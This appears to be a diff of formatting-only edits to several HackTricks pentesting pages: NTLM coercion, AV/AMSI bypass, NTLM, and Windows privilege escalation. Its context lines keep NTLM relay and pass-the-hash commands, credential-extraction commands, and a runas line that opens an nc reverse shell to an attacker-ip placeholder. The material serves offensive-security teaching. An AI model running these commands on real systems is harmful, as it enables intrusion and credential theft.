@@ -137,15 +137,15 @@ Stay informed with the newest bug bounties launching and crucial platform update
 **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md

@@ -1,15 +1,15 @@
 # Force NTLM Privileged Authentication
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
@@ -105,7 +105,6 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
 ```
 
-
 Or use this other technique: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
 
 ### Certutil
@@ -139,18 +138,18 @@ If you can perform a MitM attack to a computer and inject HTML in a page he will
 ## Cracking NTLMv1
 
 If you can capture [NTLMv1 challenges read here how to crack them](../ntlm/#ntlmv1-attack).\
-_Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"_
+&#xNAN;_&#x52;emember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"_
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

windows-hardening/av-bypass.md

@@ -9,19 +9,19 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
-**This page was written by** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
+**This page was written by** [**@m2rc\_p**](https://twitter.com/m2rc_p)**!**
 
 ## **AV Evasion Methodology**
 
@@ -47,7 +47,7 @@ If you develop your own tools, there will be no known bad signatures, but this t
 A good way for checking against Windows Defender static detection is [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). It basically splits the file into multiple segments and then tasks Defender to scan each one individually, this way, it can tell you exactly what are the flagged strings or bytes in your binary.
 {% endhint %}
 
-I highly recommend you check out this [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) about practical AV Evasion.
+I highly recommend you check out this [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) about practical AV Evasion.
 
 ### **Dynamic analysis**
 
@@ -140,7 +140,7 @@ Both our shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) and the
 <figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure>
 
 {% hint style="info" %}
-I **highly recommend** you watch [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) about DLL Sideloading and also [ippsec's video](https://www.youtube.com/watch?v=3eROsG\_WNpE) to learn more about what we've discussed more in-depth.
+I **highly recommend** you watch [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) about DLL Sideloading and also [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) to learn more about what we've discussed more in-depth.
 {% endhint %}
 
 ## [**Freeze**](https://github.com/optiv/Freeze)
@@ -164,7 +164,7 @@ Evasion is just a cat & mouse game, what works today could be detected tomorrow,
 
 ## AMSI (Anti-Malware Scan Interface)
 
-AMSI was created to prevent "[fileless malware](https://en.wikipedia.org/wiki/Fileless\_malware)". Initially, AVs were only capable of scanning **files on disk**, so if you could somehow execute payloads **directly in-memory**, the AV couldn't do anything to prevent it, as it didn't have enough visibility.
+AMSI was created to prevent "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Initially, AVs were only capable of scanning **files on disk**, so if you could somehow execute payloads **directly in-memory**, the AV couldn't do anything to prevent it, as it didn't have enough visibility.
 
 The AMSI feature is integrated into these components of Windows.
 
@@ -228,7 +228,7 @@ Keep in mind, that this will probably get flagged once this post comes out, so y
 
 **Memory Patching**
 
-This technique was initially discovered by [@RastaMouse](https://twitter.com/\_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E\_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result.
+This technique was initially discovered by [@RastaMouse](https://twitter.com/_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E\_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result.
 
 {% hint style="info" %}
 Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) for a more detailed explanation.
@@ -243,7 +243,7 @@ Or this script taht via memory patching will patch each new Powersh
 There are several tools that can be used to **obfuscate C# clear-text code**, generate **metaprogramming templates** to compile binaries or **obfuscate compiled binaries** such as:
 
 * [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
-* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): The aim of this project is to provide an open-source fork of the [LLVM](http://www.llvm.org/) compilation suite able to provide increased software security through [code obfuscation](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) and tamper-proofing.
+* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): The aim of this project is to provide an open-source fork of the [LLVM](http://www.llvm.org/) compilation suite able to provide increased software security through [code obfuscation](http://en.wikipedia.org/wiki/Obfuscation_\(software\)) and tamper-proofing.
 * [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstates how to use `C++11/14` language to generate, at compile time, obfuscated code without using any external tool and without modifying the compiler.
 * [**obfy**](https://github.com/fritzone/obfy): Add a layer of obfuscated operations generated by the C++ template metaprogramming framework which will make the life of the person wanting to crack the application a little bit harder.
 * [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz is a x64 binary obfuscator that is able to obfuscate various different pe files including: .exe, .dll, .sys
@@ -262,7 +262,7 @@ Microsoft Defender SmartScreen is a security mechanism intended to protect the e
 
 SmartScreen mainly works with a reputation-based approach, meaning that uncommonly download applications will trigger SmartScreen thus alerting and preventing the end user from executing the file (although the file can still be executed by clicking More Info -> Run anyway).
 
-**MoTW** (Mark of The Web) is an [NTFS Alternate Data Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from.
+**MoTW** (Mark of The Web) is an [NTFS Alternate Data Stream](https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_\(ADS\)) with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from.
 
 <figure><img src="../.gitbook/assets/image (237).png" alt=""><figcaption><p>Checking the Zone.Identifier ADS for a file downloaded from the internet.</p></figcaption></figure>
 
@@ -599,7 +599,7 @@ https://github.com/praetorian-code/vulcan
 
 * [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -614,7 +614,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
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 </details>

windows-hardening/ntlm/README.md

@@ -1,15 +1,15 @@
 # NTLM
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
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 </details>
@@ -96,7 +96,7 @@ Nowadays is becoming less common to find environments with Unconstrained Delegat
 
 You could abuse some credentials/sessions you already have on the AD to **ask the printer to authenticate** against some **host under your control**. Then, using `metasploit auxiliary/server/capture/smb` or `responder` you can **set the authentication challenge to 1122334455667788**, capture the authentication attempt, and if it was done using **NTLMv1** you will be able to **crack it**.\
 If you are using `responder` you could try to \*\*use the flag `--lm` \*\* to try to **downgrade** the **authentication**.\
-_Note that for this technique the authentication must be performed using NTLMv1 (NTLMv2 is not valid)._
+&#xNAN;_&#x4E;ote that for this technique the authentication must be performed using NTLMv1 (NTLMv2 is not valid)._
 
 Remember that the printer will use the computer account during the authentication, and computer accounts use **long and random passwords** that you **probably won't be able to crack** using common **dictionaries**. But the **NTLMv1** authentication **uses DES** ([more info here](./#ntlmv1-challenge)), so using some services specially dedicated to cracking DES you will be able to crack it (you could use [https://crack.sh/](https://crack.sh) or [https://ntlmv1.com/](https://ntlmv1.com) for example).
 
@@ -220,7 +220,7 @@ You can obtain code execution in Windows machines using Pass-the-Hash from Linux
 
 ### Impacket Windows compiled tools
 
-You can download[ impacket binaries for Windows here](https://github.com/ropnop/impacket\_static\_binaries/releases/tag/0.9.21-dev-binaries).
+You can download[ impacket binaries for Windows here](https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries).
 
 * **psexec\_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local`
 * **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local`
@@ -298,15 +298,15 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
 **You can use** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide)
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
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 </details>

windows-hardening/windows-local-privilege-escalation/README.md

@@ -1,15 +1,15 @@
 # Windows Local Privilege Escalation
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
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 </details>
@@ -517,7 +517,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
 If you are having this error (for example with SSDPSRV):
 
 _System error 1058 has occurred._\
-_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._
+&#xNAN;_&#x54;he service cannot be started, either because it is disabled or because it has no enabled devices associated with it._
 
 You can enable it using
 
@@ -633,6 +633,7 @@ wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Window
 # Using PowerUp.ps1
 Get-ServiceUnquoted -Verbose
 ```
+
 ```powershell
 for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
 	for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
@@ -640,6 +641,7 @@ for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
 	)
 )
 ```
+
 ```powershell
 gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
 ```
@@ -858,7 +860,7 @@ Using `runas` with a provided set of credential.
 C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
 ```
 
-Note that mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials\_file\_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault\_password\_view.html), or from [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/credentials/dumpCredStore.ps1).
+Note that mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), or from [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1).
 
 ### DPAPI
 
@@ -866,7 +868,7 @@ The **Data Protection API (DPAPI)** provides a method for symmetric encryption o
 
 **DPAPI enables the encryption of keys through a symmetric key that is derived from the user's login secrets**. In scenarios involving system encryption, it utilizes the system's domain authentication secrets.
 
-Encrypted user RSA keys, by using DPAPI, are stored in the `%APPDATA%\Microsoft\Protect\{SID}` directory, where `{SID}` represents the user's [Security Identifier](https://en.wikipedia.org/wiki/Security\_Identifier). **The DPAPI key, co-located with the master key that safeguards the user's private keys in the same file**, typically consists of 64 bytes of random data. (It's important to note that access to this directory is restricted, preventing listing its contents via the `dir` command in CMD, though it can be listed through PowerShell).
+Encrypted user RSA keys, by using DPAPI, are stored in the `%APPDATA%\Microsoft\Protect\{SID}` directory, where `{SID}` represents the user's [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **The DPAPI key, co-located with the master key that safeguards the user's private keys in the same file**, typically consists of 64 bytes of random data. (It's important to note that access to this directory is restricted, preventing listing its contents via the `dir` command in CMD, though it can be listed through PowerShell).
 
 ```powershell
 Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
@@ -1063,7 +1065,7 @@ SSH private keys can be stored inside the registry key `HKCU\Software\OpenSSH\Ag
 reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
 ```
 
-If you find any entry inside that path it will probably be a saved SSH key. It is stored encrypted but can be easily decrypted using [https://github.com/ropnop/windows\_sshagent\_extract](https://github.com/ropnop/windows\_sshagent\_extract).\
+If you find any entry inside that path it will probably be a saved SSH key. It is stored encrypted but can be easily decrypted using [https://github.com/ropnop/windows\_sshagent\_extract](https://github.com/ropnop/windows_sshagent_extract).\
 More information about this technique here: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
 
 If `ssh-agent` service is not running and you want it to automatically start on boot run:
@@ -1327,7 +1329,7 @@ Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAct
 
 You should also check the Bin to look for credentials inside it
 
-To **recover passwords** saved by several programs you can use: [http://www.nirsoft.net/password\_recovery\_tools.html](http://www.nirsoft.net/password\_recovery\_tools.html)
+To **recover passwords** saved by several programs you can use: [http://www.nirsoft.net/password\_recovery\_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
 
 ### Inside the registry
 
@@ -1564,7 +1566,7 @@ If you manages to **hijack a dll** being **loaded** by a **process** running as
 
 ## More help
 
-[Static impacket binaries](https://github.com/ropnop/impacket\_static\_binaries)
+[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
 
 ## Useful tools
 
@@ -1618,8 +1620,8 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the
 * [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)\\
 * [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)\\
 * [https://github.com/sagishahar/lpeworkshop](https://github.com/sagishahar/lpeworkshop)\\
-* [https://www.youtube.com/watch?v=\_8xJaaQlpBo](https://www.youtube.com/watch?v=\_8xJaaQlpBo)\\
-* [https://sushant747.gitbooks.io/total-oscp-guide/privilege\_escalation\_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege\_escalation\_windows.html)\\
+* [https://www.youtube.com/watch?v=\_8xJaaQlpBo](https://www.youtube.com/watch?v=_8xJaaQlpBo)\\
+* [https://sushant747.gitbooks.io/total-oscp-guide/privilege\_escalation\_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html)\\
 * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)\\
 * [https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)\\
 * [https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md)\\
@@ -1630,15 +1632,15 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the
 * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections)
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>